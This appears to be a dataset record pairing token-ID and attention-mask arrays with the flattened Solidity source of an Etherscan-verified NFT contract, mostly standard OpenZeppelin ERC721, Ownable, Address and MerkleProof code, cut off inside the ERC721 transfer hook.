1008,
1008,
1030,
16475,
4473,
1996,
2783,
3954,
2000,
2128,
4115,
15549,
4095,
2491,
1997,
1996,
3206,
1012,
1008,
1030,
5060,
17738,
4609,
6129,
2000,
6095,
2097,
2681,
1996,
3206,
2302,
2019,
3954,
1012,
1008,
2009,
2097,
2025,
2022,
2825,
2000,
2655,
1996,
4972,
2007,
1996,
1036,
2069,
12384,
2121,
1036,
1008,
16913,
18095,
4902,
1012,
1008,
1013,
3853,
17738,
17457,
12384,
2545,
5605,
1006,
1007,
2270,
2069,
12384,
2121,
1063,
12495,
2102,
6095,
6494,
3619,
7512,
5596,
1006,
1035,
3954,
1010,
4769,
1006,
1014,
1007,
1007,
1025,
1035,
3954,
1027,
4769,
1006,
1014,
1007,
1025,
1065,
1013,
1008,
1008,
1008,
1030,
16475,
4473,
1996,
2783,
3954,
2000,
4651,
2491,
1997,
1996,
3206,
2000,
1037,
2047,
12384,
2121,
1012,
1008,
1030,
11498,
2213,
2047,
12384,
2121,
1996,
4769,
2000,
4651,
6095,
2000,
1012,
1008,
1013,
3853,
4651,
12384,
2545,
5605,
1006,
4769,
2047,
12384,
2121,
1007,
2270,
2069,
12384,
2121,
1063,
1035,
4651,
12384,
2545,
5605,
1006,
2047,
12384,
2121,
1007,
1025,
1065,
1013,
1008,
1008,
1008,
1030,
16475,
15210,
2491,
1997,
1996,
3206,
2000,
1037,
2047,
12384,
2121,
1012,
1008,
1030,
11498,
2213,
2047,
12384,
2121,
1996,
4769,
2000,
4651,
6095,
2000,
1012,
1008,
1013,
3853,
1035,
4651,
12384,
2545,
5605,
1006,
102
] | [
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,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1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1
] |
/**
*Submitted for verification at Etherscan.io on 2022-03-25
*/
// SPDX-License-Identifier: GPL-3.0
// File: @openzeppelin/contracts/utils/cryptography/MerkleProof.sol
// OpenZeppelin Contracts (last updated v4.5.0) (utils/cryptography/MerkleProof.sol)
pragma solidity ^0.8.0;
/**
* @dev These functions deal with verification of Merkle Trees proofs.
*
* The proofs can be generated using the JavaScript library
* https://github.com/miguelmota/merkletreejs[merkletreejs].
* Note: the hashing algorithm should be keccak256 and pair sorting should be enabled.
*
* See `test/utils/cryptography/MerkleProof.test.js` for some examples.
*/
library MerkleProof {
/**
* @dev Returns true if a `leaf` can be proved to be a part of a Merkle tree
* defined by `root`. For this, a `proof` must be provided, containing
* sibling hashes on the branch from the leaf to the root of the tree. Each
* pair of leaves and each pair of pre-images are assumed to be sorted.
*/
function verify(
bytes32[] memory proof,
bytes32 root,
bytes32 leaf
) internal pure returns (bool) {
return processProof(proof, leaf) == root;
}
/**
* @dev Returns the rebuilt hash obtained by traversing a Merklee tree up
* from `leaf` using `proof`. A `proof` is valid if and only if the rebuilt
* hash matches the root of the tree. When processing the proof, the pairs
* of leafs & pre-images are assumed to be sorted.
*
* _Available since v4.4._
*/
function processProof(bytes32[] memory proof, bytes32 leaf) internal pure returns (bytes32) {
bytes32 computedHash = leaf;
for (uint256 i = 0; i < proof.length; i++) {
bytes32 proofElement = proof[i];
if (computedHash <= proofElement) {
// Hash(current computed hash + current element of the proof)
computedHash = _efficientHash(computedHash, proofElement);
} else {
// Hash(current element of the proof + current computed hash)
computedHash = _efficientHash(proofElement, computedHash);
}
}
return computedHash;
}
function _efficientHash(bytes32 a, bytes32 b) private pure returns (bytes32 value) {
assembly {
mstore(0x00, a)
mstore(0x20, b)
value := keccak256(0x00, 0x40)
}
}
}
// File: @openzeppelin/contracts/utils/Strings.sol
// OpenZeppelin Contracts v4.4.1 (utils/Strings.sol)
pragma solidity ^0.8.0;
/**
* @dev String operations.
*/
library Strings {
bytes16 private constant _HEX_SYMBOLS = "0123456789abcdef";
/**
* @dev Converts a `uint256` to its ASCII `string` decimal representation.
*/
function toString(uint256 value) internal pure returns (string memory) {
// Inspired by OraclizeAPI's implementation - MIT licence
// https://github.com/oraclize/ethereum-api/blob/b42146b063c7d6ee1358846c198246239e9360e8/oraclizeAPI_0.4.25.sol
if (value == 0) {
return "0";
}
uint256 temp = value;
uint256 digits;
while (temp != 0) {
digits++;
temp /= 10;
}
bytes memory buffer = new bytes(digits);
while (value != 0) {
digits -= 1;
buffer[digits] = bytes1(uint8(48 + uint256(value % 10)));
value /= 10;
}
return string(buffer);
}
/**
* @dev Converts a `uint256` to its ASCII `string` hexadecimal representation.
*/
function toHexString(uint256 value) internal pure returns (string memory) {
if (value == 0) {
return "0x00";
}
uint256 temp = value;
uint256 length = 0;
while (temp != 0) {
length++;
temp >>= 8;
}
return toHexString(value, length);
}
/**
* @dev Converts a `uint256` to its ASCII `string` hexadecimal representation with fixed length.
*/
function toHexString(uint256 value, uint256 length) internal pure returns (string memory) {
bytes memory buffer = new bytes(2 * length + 2);
buffer[0] = "0";
buffer[1] = "x";
for (uint256 i = 2 * length + 1; i > 1; --i) {
buffer[i] = _HEX_SYMBOLS[value & 0xf];
value >>= 4;
}
require(value == 0, "Strings: hex length insufficient");
return string(buffer);
}
}
// File: @openzeppelin/contracts/utils/Context.sol
// OpenZeppelin Contracts v4.4.1 (utils/Context.sol)
pragma solidity ^0.8.0;
/**
* @dev Provides information about the current execution context, including the
* sender of the transaction and its data. While these are generally available
* via msg.sender and msg.data, they should not be accessed in such a direct
* manner, since when dealing with meta-transactions the account sending and
* paying for execution may not be the actual sender (as far as an application
* is concerned).
*
* This contract is only required for intermediate, library-like contracts.
*/
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes calldata) {
return msg.data;
}
}
// File: @openzeppelin/contracts/access/Ownable.sol
// OpenZeppelin Contracts v4.4.1 (access/Ownable.sol)
pragma solidity ^0.8.0;
/**
* @dev Contract module which provides a basic access control mechanism, where
* there is an account (an owner) that can be granted exclusive access to
* specific functions.
*
* By default, the owner account will be the one that deploys the contract. This
* can later be changed with {transferOwnership}.
*
* This module is used through inheritance. It will make available the modifier
* `onlyOwner`, which can be applied to your functions to restrict their use to
* the owner.
*/
abstract contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
/**
* @dev Initializes the contract setting the deployer as the initial owner.
*/
constructor() {
_transferOwnership(_msgSender());
}
/**
* @dev Returns the address of the current owner.
*/
function owner() public view virtual returns (address) {
return _owner;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(owner() == _msgSender(), "Ownable: caller is not the owner");
_;
}
/**
* @dev Leaves the contract without owner. It will not be possible to call
* `onlyOwner` functions anymore. Can only be called by the current owner.
*
* NOTE: Renouncing ownership will leave the contract without an owner,
* thereby removing any functionality that is only available to the owner.
*/
function renounceOwnership() public virtual onlyOwner {
_transferOwnership(address(0));
}
/**
* @dev Transfers ownership of the contract to a new account (`newOwner`).
* Can only be called by the current owner.
*/
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
_transferOwnership(newOwner);
}
/**
* @dev Transfers ownership of the contract to a new account (`newOwner`).
* Internal function without access restriction.
*/
function _transferOwnership(address newOwner) internal virtual {
address oldOwner = _owner;
_owner = newOwner;
emit OwnershipTransferred(oldOwner, newOwner);
}
}
// File: @openzeppelin/contracts/utils/Address.sol
// OpenZeppelin Contracts (last updated v4.5.0) (utils/Address.sol)
pragma solidity ^0.8.1;
/**
* @dev Collection of functions related to the address type
*/
library Address {
/**
* @dev Returns true if `account` is a contract.
*
* [IMPORTANT]
* ====
* It is unsafe to assume that an address for which this function returns
* false is an externally-owned account (EOA) and not a contract.
*
* Among others, `isContract` will return false for the following
* types of addresses:
*
* - an externally-owned account
* - a contract in construction
* - an address where a contract will be created
* - an address where a contract lived, but was destroyed
* ====
*
* [IMPORTANT]
* ====
* You shouldn't rely on `isContract` to protect against flash loan attacks!
*
* Preventing calls from contracts is highly discouraged. It breaks composability, breaks support for smart wallets
* like Gnosis Safe, and does not provide security since it can be circumvented by calling from a contract
* constructor.
* ====
*/
function isContract(address account) internal view returns (bool) {
// This method relies on extcodesize/address.code.length, which returns 0
// for contracts in construction, since the code is only stored at the end
// of the constructor execution.
return account.code.length > 0;
}
/**
* @dev Replacement for Solidity's `transfer`: sends `amount` wei to
* `recipient`, forwarding all available gas and reverting on errors.
*
* https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost
* of certain opcodes, possibly making contracts go over the 2300 gas limit
* imposed by `transfer`, making them unable to receive funds via
* `transfer`. {sendValue} removes this limitation.
*
* https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more].
*
* IMPORTANT: because control is transferred to `recipient`, care must be
* taken to not create reentrancy vulnerabilities. Consider using
* {ReentrancyGuard} or the
* https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern].
*/
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
(bool success, ) = recipient.call{value: amount}("");
require(success, "Address: unable to send value, recipient may have reverted");
}
/**
* @dev Performs a Solidity function call using a low level `call`. A
* plain `call` is an unsafe replacement for a function call: use this
* function instead.
*
* If `target` reverts with a revert reason, it is bubbled up by this
* function (like regular Solidity function calls).
*
* Returns the raw returned data. To convert to the expected return value,
* use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`].
*
* Requirements:
*
* - `target` must be a contract.
* - calling `target` with `data` must not revert.
*
* _Available since v3.1._
*/
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with
* `errorMessage` as a fallback revert reason when `target` reverts.
*
* _Available since v3.1._
*/
function functionCall(
address target,
bytes memory data,
string memory errorMessage
) internal returns (bytes memory) {
return functionCallWithValue(target, data, 0, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but also transferring `value` wei to `target`.
*
* Requirements:
*
* - the calling contract must have an ETH balance of at least `value`.
* - the called Solidity function must be `payable`.
*
* _Available since v3.1._
*/
function functionCallWithValue(
address target,
bytes memory data,
uint256 value
) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
/**
* @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but
* with `errorMessage` as a fallback revert reason when `target` reverts.
*
* _Available since v3.1._
*/
function functionCallWithValue(
address target,
bytes memory data,
uint256 value,
string memory errorMessage
) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
require(isContract(target), "Address: call to non-contract");
(bool success, bytes memory returndata) = target.call{value: value}(data);
return verifyCallResult(success, returndata, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but performing a static call.
*
* _Available since v3.3._
*/
function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) {
return functionStaticCall(target, data, "Address: low-level static call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`],
* but performing a static call.
*
* _Available since v3.3._
*/
function functionStaticCall(
address target,
bytes memory data,
string memory errorMessage
) internal view returns (bytes memory) {
require(isContract(target), "Address: static call to non-contract");
(bool success, bytes memory returndata) = target.staticcall(data);
return verifyCallResult(success, returndata, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but performing a delegate call.
*
* _Available since v3.4._
*/
function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) {
return functionDelegateCall(target, data, "Address: low-level delegate call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`],
* but performing a delegate call.
*
* _Available since v3.4._
*/
function functionDelegateCall(
address target,
bytes memory data,
string memory errorMessage
) internal returns (bytes memory) {
require(isContract(target), "Address: delegate call to non-contract");
(bool success, bytes memory returndata) = target.delegatecall(data);
return verifyCallResult(success, returndata, errorMessage);
}
/**
* @dev Tool to verifies that a low level call was successful, and revert if it wasn't, either by bubbling the
* revert reason using the provided one.
*
* _Available since v4.3._
*/
function verifyCallResult(
bool success,
bytes memory returndata,
string memory errorMessage
) internal pure returns (bytes memory) {
if (success) {
return returndata;
} else {
// Look for revert reason and bubble it up if present
if (returndata.length > 0) {
// The easiest way to bubble the revert reason is using memory via assembly
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
}
// File: @openzeppelin/contracts/token/ERC721/IERC721Receiver.sol
// OpenZeppelin Contracts v4.4.1 (token/ERC721/IERC721Receiver.sol)
pragma solidity ^0.8.0;
/**
* @title ERC721 token receiver interface
* @dev Interface for any contract that wants to support safeTransfers
* from ERC721 asset contracts.
*/
interface IERC721Receiver {
/**
* @dev Whenever an {IERC721} `tokenId` token is transferred to this contract via {IERC721-safeTransferFrom}
* by `operator` from `from`, this function is called.
*
* It must return its Solidity selector to confirm the token transfer.
* If any other value is returned or the interface is not implemented by the recipient, the transfer will be reverted.
*
* The selector can be obtained in Solidity with `IERC721.onERC721Received.selector`.
*/
function onERC721Received(
address operator,
address from,
uint256 tokenId,
bytes calldata data
) external returns (bytes4);
}
// File: @openzeppelin/contracts/utils/introspection/IERC165.sol
// OpenZeppelin Contracts v4.4.1 (utils/introspection/IERC165.sol)
pragma solidity ^0.8.0;
/**
* @dev Interface of the ERC165 standard, as defined in the
* https://eips.ethereum.org/EIPS/eip-165[EIP].
*
* Implementers can declare support of contract interfaces, which can then be
* queried by others ({ERC165Checker}).
*
* For an implementation, see {ERC165}.
*/
interface IERC165 {
/**
* @dev Returns true if this contract implements the interface defined by
* `interfaceId`. See the corresponding
* https://eips.ethereum.org/EIPS/eip-165#how-interfaces-are-identified[EIP section]
* to learn more about how these ids are created.
*
* This function call must use less than 30 000 gas.
*/
function supportsInterface(bytes4 interfaceId) external view returns (bool);
}
// File: @openzeppelin/contracts/utils/introspection/ERC165.sol
// OpenZeppelin Contracts v4.4.1 (utils/introspection/ERC165.sol)
pragma solidity ^0.8.0;
/**
* @dev Implementation of the {IERC165} interface.
*
* Contracts that want to implement ERC165 should inherit from this contract and override {supportsInterface} to check
* for the additional interface id that will be supported. For example:
*
* ```solidity
* function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) {
* return interfaceId == type(MyInterface).interfaceId || super.supportsInterface(interfaceId);
* }
* ```
*
* Alternatively, {ERC165Storage} provides an easier to use but more expensive implementation.
*/
abstract contract ERC165 is IERC165 {
/**
* @dev See {IERC165-supportsInterface}.
*/
function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) {
return interfaceId == type(IERC165).interfaceId;
}
}
// File: @openzeppelin/contracts/token/ERC721/IERC721.sol
// OpenZeppelin Contracts v4.4.1 (token/ERC721/IERC721.sol)
pragma solidity ^0.8.0;
/**
* @dev Required interface of an ERC721 compliant contract.
*/
interface IERC721 is IERC165 {
/**
* @dev Emitted when `tokenId` token is transferred from `from` to `to`.
*/
event Transfer(address indexed from, address indexed to, uint256 indexed tokenId);
/**
* @dev Emitted when `owner` enables `approved` to manage the `tokenId` token.
*/
event Approval(address indexed owner, address indexed approved, uint256 indexed tokenId);
/**
* @dev Emitted when `owner` enables or disables (`approved`) `operator` to manage all of its assets.
*/
event ApprovalForAll(address indexed owner, address indexed operator, bool approved);
/**
* @dev Returns the number of tokens in ``owner``'s account.
*/
function balanceOf(address owner) external view returns (uint256 balance);
/**
* @dev Returns the owner of the `tokenId` token.
*
* Requirements:
*
* - `tokenId` must exist.
*/
function ownerOf(uint256 tokenId) external view returns (address owner);
/**
* @dev Safely transfers `tokenId` token from `from` to `to`, checking first that contract recipients
* are aware of the ERC721 protocol to prevent tokens from being forever locked.
*
* Requirements:
*
* - `from` cannot be the zero address.
* - `to` cannot be the zero address.
* - `tokenId` token must exist and be owned by `from`.
* - If the caller is not `from`, it must be have been allowed to move this token by either {approve} or {setApprovalForAll}.
* - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer.
*
* Emits a {Transfer} event.
*/
function safeTransferFrom(
address from,
address to,
uint256 tokenId
) external;
/**
* @dev Transfers `tokenId` token from `from` to `to`.
*
* WARNING: Usage of this method is discouraged, use {safeTransferFrom} whenever possible.
*
* Requirements:
*
* - `from` cannot be the zero address.
* - `to` cannot be the zero address.
* - `tokenId` token must be owned by `from`.
* - If the caller is not `from`, it must be approved to move this token by either {approve} or {setApprovalForAll}.
*
* Emits a {Transfer} event.
*/
function transferFrom(
address from,
address to,
uint256 tokenId
) external;
/**
* @dev Gives permission to `to` to transfer `tokenId` token to another account.
* The approval is cleared when the token is transferred.
*
* Only a single account can be approved at a time, so approving the zero address clears previous approvals.
*
* Requirements:
*
* - The caller must own the token or be an approved operator.
* - `tokenId` must exist.
*
* Emits an {Approval} event.
*/
function approve(address to, uint256 tokenId) external;
/**
* @dev Returns the account approved for `tokenId` token.
*
* Requirements:
*
* - `tokenId` must exist.
*/
function getApproved(uint256 tokenId) external view returns (address operator);
/**
* @dev Approve or remove `operator` as an operator for the caller.
* Operators can call {transferFrom} or {safeTransferFrom} for any token owned by the caller.
*
* Requirements:
*
* - The `operator` cannot be the caller.
*
* Emits an {ApprovalForAll} event.
*/
function setApprovalForAll(address operator, bool _approved) external;
/**
* @dev Returns if the `operator` is allowed to manage all of the assets of `owner`.
*
* See {setApprovalForAll}
*/
function isApprovedForAll(address owner, address operator) external view returns (bool);
/**
* @dev Safely transfers `tokenId` token from `from` to `to`.
*
* Requirements:
*
* - `from` cannot be the zero address.
* - `to` cannot be the zero address.
* - `tokenId` token must exist and be owned by `from`.
* - If the caller is not `from`, it must be approved to move this token by either {approve} or {setApprovalForAll}.
* - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer.
*
* Emits a {Transfer} event.
*/
function safeTransferFrom(
address from,
address to,
uint256 tokenId,
bytes calldata data
) external;
}
// File: @openzeppelin/contracts/token/ERC721/extensions/IERC721Enumerable.sol
// OpenZeppelin Contracts (last updated v4.5.0) (token/ERC721/extensions/IERC721Enumerable.sol)
pragma solidity ^0.8.0;
/**
* @title ERC-721 Non-Fungible Token Standard, optional enumeration extension
* @dev See https://eips.ethereum.org/EIPS/eip-721
*/
interface IERC721Enumerable is IERC721 {
/**
* @dev Returns the total amount of tokens stored by the contract.
*/
function totalSupply() external view returns (uint256);
/**
* @dev Returns a token ID owned by `owner` at a given `index` of its token list.
* Use along with {balanceOf} to enumerate all of ``owner``'s tokens.
*/
function tokenOfOwnerByIndex(address owner, uint256 index) external view returns (uint256);
/**
* @dev Returns a token ID at a given `index` of all the tokens stored by the contract.
* Use along with {totalSupply} to enumerate all tokens.
*/
function tokenByIndex(uint256 index) external view returns (uint256);
}
// File: @openzeppelin/contracts/token/ERC721/extensions/IERC721Metadata.sol
// OpenZeppelin Contracts v4.4.1 (token/ERC721/extensions/IERC721Metadata.sol)
pragma solidity ^0.8.0;
/**
* @title ERC-721 Non-Fungible Token Standard, optional metadata extension
* @dev See https://eips.ethereum.org/EIPS/eip-721
*/
interface IERC721Metadata is IERC721 {
/**
* @dev Returns the token collection name.
*/
function name() external view returns (string memory);
/**
* @dev Returns the token collection symbol.
*/
function symbol() external view returns (string memory);
/**
* @dev Returns the Uniform Resource Identifier (URI) for `tokenId` token.
*/
function tokenURI(uint256 tokenId) external view returns (string memory);
}
// File: @openzeppelin/contracts/token/ERC721/ERC721.sol
// OpenZeppelin Contracts (last updated v4.5.0) (token/ERC721/ERC721.sol)
pragma solidity ^0.8.0;
/**
* @dev Implementation of https://eips.ethereum.org/EIPS/eip-721[ERC721] Non-Fungible Token Standard, including
* the Metadata extension, but not including the Enumerable extension, which is available separately as
* {ERC721Enumerable}.
*/
contract ERC721 is Context, ERC165, IERC721, IERC721Metadata {
using Address for address;
using Strings for uint256;
// Token name
string private _name;
// Token symbol
string private _symbol;
// Mapping from token ID to owner address
mapping(uint256 => address) private _owners;
// Mapping owner address to token count
mapping(address => uint256) private _balances;
// Mapping from token ID to approved address
mapping(uint256 => address) private _tokenApprovals;
// Mapping from owner to operator approvals
mapping(address => mapping(address => bool)) private _operatorApprovals;
/**
* @dev Initializes the contract by setting a `name` and a `symbol` to the token collection.
*/
constructor(string memory name_, string memory symbol_) {
_name = name_;
_symbol = symbol_;
}
/**
* @dev See {IERC165-supportsInterface}.
*/
function supportsInterface(bytes4 interfaceId) public view virtual override(ERC165, IERC165) returns (bool) {
return
interfaceId == type(IERC721).interfaceId ||
interfaceId == type(IERC721Metadata).interfaceId ||
super.supportsInterface(interfaceId);
}
/**
* @dev See {IERC721-balanceOf}.
*/
function balanceOf(address owner) public view virtual override returns (uint256) {
require(owner != address(0), "ERC721: balance query for the zero address");
return _balances[owner];
}
/**
* @dev See {IERC721-ownerOf}.
*/
function ownerOf(uint256 tokenId) public view virtual override returns (address) {
address owner = _owners[tokenId];
require(owner != address(0), "ERC721: owner query for nonexistent token");
return owner;
}
/**
* @dev See {IERC721Metadata-name}.
*/
function name() public view virtual override returns (string memory) {
return _name;
}
/**
* @dev See {IERC721Metadata-symbol}.
*/
function symbol() public view virtual override returns (string memory) {
return _symbol;
}
/**
* @dev See {IERC721Metadata-tokenURI}.
*/
function tokenURI(uint256 tokenId) public view virtual override returns (string memory) {
require(_exists(tokenId), "ERC721Metadata: URI query for nonexistent token");
return _baseURI();
}
/**
* @dev Base URI for computing {tokenURI}. If set, the resulting URI for each
* token will be the concatenation of the `baseURI` and the `tokenId`. Empty
* by default, can be overriden in child contracts.
*/
function _baseURI() internal view virtual returns (string memory) {
return "";
}
/**
* @dev See {IERC721-approve}.
*/
function approve(address to, uint256 tokenId) public virtual override {
address owner = ERC721.ownerOf(tokenId);
require(to != owner, "ERC721: approval to current owner");
require(
_msgSender() == owner || isApprovedForAll(owner, _msgSender()),
"ERC721: approve caller is not owner nor approved for all"
);
_approve(to, tokenId);
}
/**
* @dev See {IERC721-getApproved}.
*/
function getApproved(uint256 tokenId) public view virtual override returns (address) {
require(_exists(tokenId), "ERC721: approved query for nonexistent token");
return _tokenApprovals[tokenId];
}
/**
* @dev See {IERC721-setApprovalForAll}.
*/
function setApprovalForAll(address operator, bool approved) public virtual override {
_setApprovalForAll(_msgSender(), operator, approved);
}
/**
* @dev See {IERC721-isApprovedForAll}.
*/
function isApprovedForAll(address owner, address operator) public view virtual override returns (bool) {
return _operatorApprovals[owner][operator];
}
/**
* @dev See {IERC721-transferFrom}.
*/
function transferFrom(
address from,
address to,
uint256 tokenId
) public virtual override {
//solhint-disable-next-line max-line-length
require(_isApprovedOrOwner(_msgSender(), tokenId), "ERC721: transfer caller is not owner nor approved");
_transfer(from, to, tokenId);
}
/**
* @dev See {IERC721-safeTransferFrom}.
*/
function safeTransferFrom(
address from,
address to,
uint256 tokenId
) public virtual override {
safeTransferFrom(from, to, tokenId, "");
}
/**
* @dev See {IERC721-safeTransferFrom}.
*/
function safeTransferFrom(
address from,
address to,
uint256 tokenId,
bytes memory _data
) public virtual override {
require(_isApprovedOrOwner(_msgSender(), tokenId), "ERC721: transfer caller is not owner nor approved");
_safeTransfer(from, to, tokenId, _data);
}
/**
* @dev Safely transfers `tokenId` token from `from` to `to`, checking first that contract recipients
* are aware of the ERC721 protocol to prevent tokens from being forever locked.
*
* `_data` is additional data, it has no specified format and it is sent in call to `to`.
*
* This internal function is equivalent to {safeTransferFrom}, and can be used to e.g.
* implement alternative mechanisms to perform token transfer, such as signature-based.
*
* Requirements:
*
* - `from` cannot be the zero address.
* - `to` cannot be the zero address.
* - `tokenId` token must exist and be owned by `from`.
* - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer.
*
* Emits a {Transfer} event.
*/
function _safeTransfer(
address from,
address to,
uint256 tokenId,
bytes memory _data
) internal virtual {
_transfer(from, to, tokenId);
require(_checkOnERC721Received(from, to, tokenId, _data), "ERC721: transfer to non ERC721Receiver implementer");
}
/**
* @dev Returns whether `tokenId` exists.
*
* Tokens can be managed by their owner or approved accounts via {approve} or {setApprovalForAll}.
*
* Tokens start existing when they are minted (`_mint`),
* and stop existing when they are burned (`_burn`).
*/
function _exists(uint256 tokenId) internal view virtual returns (bool) {
return _owners[tokenId] != address(0);
}
/**
* @dev Returns whether `spender` is allowed to manage `tokenId`.
*
* Requirements:
*
* - `tokenId` must exist.
*/
function _isApprovedOrOwner(address spender, uint256 tokenId) internal view virtual returns (bool) {
require(_exists(tokenId), "ERC721: operator query for nonexistent token");
address owner = ERC721.ownerOf(tokenId);
return (spender == owner || getApproved(tokenId) == spender || isApprovedForAll(owner, spender));
}
/**
* @dev Safely mints `tokenId` and transfers it to `to`.
*
* Requirements:
*
* - `tokenId` must not exist.
* - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer.
*
* Emits a {Transfer} event.
*/
function _safeMint(address to, uint256 tokenId) internal virtual {
_safeMint(to, tokenId, "");
}
/**
* @dev Same as {xref-ERC721-_safeMint-address-uint256-}[`_safeMint`], with an additional `data` parameter which is
* forwarded in {IERC721Receiver-onERC721Received} to contract recipients.
*/
function _safeMint(
address to,
uint256 tokenId,
bytes memory _data
) internal virtual {
_mint(to, tokenId);
require(
_checkOnERC721Received(address(0), to, tokenId, _data),
"ERC721: transfer to non ERC721Receiver implementer"
);
}
/**
* @dev Mints `tokenId` and transfers it to `to`.
*
* WARNING: Usage of this method is discouraged, use {_safeMint} whenever possible
*
* Requirements:
*
* - `tokenId` must not exist.
* - `to` cannot be the zero address.
*
* Emits a {Transfer} event.
*/
function _mint(address to, uint256 tokenId) internal virtual {
require(to != address(0), "ERC721: mint to the zero address");
require(!_exists(tokenId), "ERC721: token already minted");
_beforeTokenTransfer(address(0), to, tokenId);
_balances[to] += 1;
_owners[tokenId] = to;
emit Transfer(address(0), to, tokenId);
_afterTokenTransfer(address(0), to, tokenId);
}
/**
* @dev Destroys `tokenId`.
* The approval is cleared when the token is burned.
*
* Requirements:
*
* - `tokenId` must exist.
*
* Emits a {Transfer} event.
*/
function _burn(uint256 tokenId) internal virtual {
address owner = ERC721.ownerOf(tokenId);
_beforeTokenTransfer(owner, address(0), tokenId);
// Clear approvals
_approve(address(0), tokenId);
_balances[owner] -= 1;
delete _owners[tokenId];
emit Transfer(owner, address(0), tokenId);
_afterTokenTransfer(owner, address(0), tokenId);
}
/**
* @dev Transfers `tokenId` from `from` to `to`.
* As opposed to {transferFrom}, this imposes no restrictions on msg.sender.
*
* Requirements:
*
* - `to` cannot be the zero address.
* - `tokenId` token must be owned by `from`.
*
* Emits a {Transfer} event.
*/
function _transfer(
address from,
address to,
uint256 tokenId
) internal virtual {
require(ERC721.ownerOf(tokenId) == from, "ERC721: transfer from incorrect owner");
require(to != address(0), "ERC721: transfer to the zero address");
_beforeTokenTransfer(from, to, tokenId);
// Clear approvals from the previous owner
_approve(address(0), tokenId);
_balances[from] -= 1;
_balances[to] += 1;
_owners[tokenId] = to;
emit Transfer(from, to, tokenId);
_afterTokenTransfer(from, to, tokenId);
}
/**
* @dev Approve `to` to operate on `tokenId`
*
* Emits a {Approval} event.
*/
function _approve(address to, uint256 tokenId) internal virtual {
_tokenApprovals[tokenId] = to;
emit Approval(ERC721.ownerOf(tokenId), to, tokenId);
}
/**
* @dev Approve `operator` to operate on all of `owner` tokens
*
* Emits a {ApprovalForAll} event.
*/
function _setApprovalForAll(
address owner,
address operator,
bool approved
) internal virtual {
require(owner != operator, "ERC721: approve to caller");
_operatorApprovals[owner][operator] = approved;
emit ApprovalForAll(owner, operator, approved);
}
/**
* @dev Internal function to invoke {IERC721Receiver-onERC721Received} on a target address.
* The call is not executed if the target address is not a contract.
*
* @param from address representing the previous owner of the given token ID
* @param to target address that will receive the tokens
* @param tokenId uint256 ID of the token to be transferred
* @param _data bytes optional data to send along with the call
* @return bool whether the call correctly returned the expected magic value
*/
function _checkOnERC721Received(
address from,
address to,
uint256 tokenId,
bytes memory _data
) private returns (bool) {
if (to.isContract()) {
try IERC721Receiver(to).onERC721Received(_msgSender(), from, tokenId, _data) returns (bytes4 retval) {
return retval == IERC721Receiver.onERC721Received.selector;
} catch (bytes memory reason) {
if (reason.length == 0) {
revert("ERC721: transfer to non ERC721Receiver implementer");
} else {
assembly {
revert(add(32, reason), mload(reason))
}
}
}
} else {
return true;
}
}
/**
* @dev Hook that is called before any token transfer. This includes minting
* and burning.
*
* Calling conditions:
*
* - When `from` and `to` are both non-zero, ``from``'s `tokenId` will be
* transferred to `to`.
* - When `from` is zero, `tokenId` will be minted for `to`.
* - When `to` is zero, ``from``'s `tokenId` will be burned.
* - `from` and `to` are never both zero.
*
